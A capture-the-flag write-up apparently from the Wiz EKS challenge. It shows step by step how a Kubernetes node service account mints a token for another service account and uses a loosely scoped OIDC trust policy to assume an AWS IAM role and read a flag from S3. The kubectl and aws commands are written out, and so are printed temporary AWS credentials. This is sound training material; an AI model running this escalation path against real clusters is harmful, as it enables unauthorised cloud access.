Scenario
You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
Up to challenge #4, we have already obtained the system:node
service account. Now we need to leverage this account to move to another AWS account. For this challenge, we are given the following information:
- IAM Policy
This IAM policy allows the AWS account to GetObject
and ListBucket
on the challenge-flag-bucket-3ff1ae2
and challenge-flag-bucket-3ff1ae2/flag
resources.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| {
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}
|
2.Trust Policy
AWS trust policy defines which principals can assume a role, and under which conditions.
The following trust policy defines a policy whereby the identity provider oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589
is allowed to assume a role only when the value of audience aud
is equal to sts.amazonaws.com
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
}
}
}
]
}
|
3.Permissions of EKS node’s service account
Following permissions are granted to the EKS node’s service account obtained in challenge #4.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| {
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}
|
With this information, we can start the challenge by querying resources where the EKS node’s service account is allowed. For the create service account token, we will leave it for later.
1
2
3
4
5
6
7
8
9
| root@wiz-eks-challenge:~# kubectl get secrets
No resources found in challenge5 namespace.
root@wiz-eks-challenge:~# kubectl get pod
No resources found in challenge5 namespace.
root@wiz-eks-challenge:~# kubectl get sa
NAME SECRETS AGE
debug-sa 0 2d14h
default 0 2d14h
s3access-sa 0 2d14h
|
We don’t see anything except the service accounts in challenge5 namespace. Let’s have a look at the resource manifest.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| root@wiz-eks-challenge:~# kubectl get sa -oyaml
apiVersion: v1
items:
- apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
description: This is a dummy service account with empty policy attached
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
creationTimestamp: "2023-10-31T20:07:37Z"
name: debug-sa
namespace: challenge5
resourceVersion: "671929"
uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
- apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: "2023-10-31T20:07:11Z"
name: default
namespace: challenge5
resourceVersion: "671804"
uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
- apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
creationTimestamp: "2023-10-31T20:07:34Z"
name: s3access-sa
namespace: challenge5
resourceVersion: "671916"
uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind: List
metadata:
resourceVersion: ""
|
Let’s check on which service account we can create a token for.
1
2
3
4
5
6
| root@wiz-eks-challenge:~# kubectl auth can-i --list --token=$TOKEN
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
serviceaccounts/token [] [debug-sa] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
With this information, we have an attack path we can use to obtain the AWS account role. First, by looking at the trust policy, the condition is not very restrictive whereby assumerolewithwebidentity
is allowed so long as the aud
value is equal to sts.awsamazon.com
. No other conditions such as allowed service account are defined. That means any service account token that meets the condition can be used to assume the AWS role.
Let’s create the token for debug-sa service account and see the permissions assigned to this service account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| root@wiz-eks-challenge:~# export DEBUG=$(kubectl create token debug-sa --duration=3600s)
root@wiz-eks-challenge:~# kubectl auth can-i --list --token=$DEBUG
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
podsecuritypolicies.policy [] [eks.privileged] [use]
|
Interestingly, the debug-sa
has the permission to get JWKS URL of the apiserver /openid/v1/jwks
. We can use the following command to see what is being returned in the response:
1
2
| root@wiz-eks-challenge:~# kubectl get --raw /openid/v1/jwks --token=$DEBUG
{"keys":[{"use":"sig","kty":"RSA","kid":"5E4MdFPqCQ4s9HXCB0bMdSK7jTPOq89zrLhiP34vAac","alg":"RS256","n":"z_oi3miohXQpvzGfxF6pD50duuEN2tiYS6RsNaZ7Mk7K_do8J8uAeilMekGK_WUPjWZOpsb3CzC_ZZDz5xRm7ZyLVDf0hgJ7AZcL33J3xfZ7qbxTth8uDAG8H8Wg89me8PVunmk9o__3JKw2352BnVlutyjDwR_3eg5awtGUieaCQZutG_9z-jzSpZjsniaXbykfXlbObHH2VjnGVzu9R_pDCoSaqiX3iBA1BttpT8w79FYUgeC-4RLm9AtAsSfO_zUwD_kQvBtzjoxsrclP1ALqLR-j4jYWkr0ybMh5GsmK8XtCuykOtbuEQZPqtz5rs3STGXiNuIst6dvmNslptw","e":"AQAB"}]}
|
Let’s run the following command to find out the openid configuration:
1
2
| root@wiz-eks-challenge:~# kubectl get --raw /.well-known/openid-configuration --token=$DEBUG
{"issuer":"https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589","jwks_uri":"https://ip-10-0-37-195.us-west-1.compute.internal:443/openid/v1/jwks","response_types_supported":["id_token"],"subject_types_supported":["public"],"id_token_signing_alg_values_supported":["RS256"]}
|
Now we know that the identity provider is indeed oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589
. We can create another token for debug-sa
service account with the correct aud
value.
1
| root@wiz-eks-challenge:~# export DEBUG=$(kubectl create token debug-sa --duration=3600s --audience sts.amazonaws.com
|
Then we can assume role with the web identity token we have just generated and the arn
of the role attached to s3access-sa
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5 --web-identity-token $DEBUG
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVMVPNQN6HQ",
"SecretAccessKey": "G5y4XE4Wf0o8MpTeLIkGBqR1mhRSeM6wQH2z/nCQ",
"SessionToken": "IQoJb3JpZ2luX2VjEA4aCXVzLXdlc3QtMSJIMEYCIQCkhiqQR5HPSvwK6EiKnL+FT6Q7z4zeUpZovSiaeuLMagIhAMimQn85nKXPpj30Id3mjjJ51kdIrhY3SYr+nTKLsl3rKrsECEcQABoMNjg4NjU1MjQ2NjgxIgzM70/huExLe3yUnTkqmAQElWqwIo3uw3tVpcZPDWxbgR+CSruAX0u+WsGmbLj59yDPf8c8CjSPxnGDmJnhdypICVNLzr8e5yUl8ZtdSuZMNhR4UhnbsZlBPO+H9/aEWNlvTFkA45Bp6yRLlo0qvjrw8+/w5068pQzefsyFRcmw59YN2szAGe+hWHfpeK9ITOi4yo3NG/qzB5Qzn+R71+SLwvJ70u1dNW6SGMl1XuIejszHfIDnjq++O3smiYsrxM2nMVqCCj1LJCWmj0Y7WxnO2FkAZtEAPjEvO3nsS0BsZ+kz9NfgiwRXx3ZHrlamxQGJnQBZGf6GpC96LxkWg+xqjvjUfKvzhRsn+ZEjzeK9cJX1f3Jgv9jFTgMDQRZ85t32w1zbJrvLYoqM/az2bv5k71HmBn75+JzUvG+KB981J7okECWyX5663b3gNGs0egh1FpoA8VyhkwUv/amJd7Qpm4NcdmMIz13xcTOrffqCBPvZhtTSqtOjS7t22H8JwXoLHh7PjX90U20RTE5UOvANDoQPVmOvK9T+Uy8VALyEXY88APZOuT8zuXvKRm+GKnRo7uxbcvxoyCb/44gBdVuuQf4DpPR0CJPPirM4dxsRgYKV4r4p16y/6Wp49HF4uLmUrATdF+P+nuQ1lhCkWvyJc+LdDGpmQkzMNpMjz9OB8SW/dhaEcv6IsDnFs6SZavlCgfmUoOPRG360OWV4CtvnD059bcHVjzC87pOqBjqUAb1OS7SViovgWzClVxoqDhsDUIYXTiInXfMkQmXGR/nxL8qKUK6M+qeC5o9FmePjGdQZqlSku5Av38xGnbWQ/JqY3Dp0EI6+sHeTIq1z1ihMr1sX6V0+6TmggpunlilHEADywuzkcPw+0Gln+8VpsjDFWVSwQRj+sMd1kWEoylPyr8laU9ox9wId71cN9EgfD6qCy40=",
"Expiration": "2023-11-03T14:35:56+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:challenge5",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5"
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}
|
We have successfully assumed the challengeEksS3Role/challenge5
role.
1
2
3
4
5
6
| root@wiz-eks-challenge:~# aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMZEZ2AFVYI:challenge5",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5"
}
|
With the newly obtained role, we can access and down the flag from the challenge-flag-bucket-3ff1ae2
S3 bucket.
1
2
3
4
5
6
7
8
9
10
| root@wiz-eks-challenge:~# aws s3api get-object --bucket challenge-flag-bucket-3ff1ae2 --key flag flag
{
"AcceptRanges": "bytes",
"LastModified": "2023-11-01T12:27:55+00:00",
"ContentLength": 72,
"ETag": "\"5479da5a2fc031f6a9941a0ed1e1bde9\"",
"ContentType": "binary/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {}
}
|
Yay! We got the final flag :)
1
2
| root@wiz-eks-challenge:~# cat flag
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
|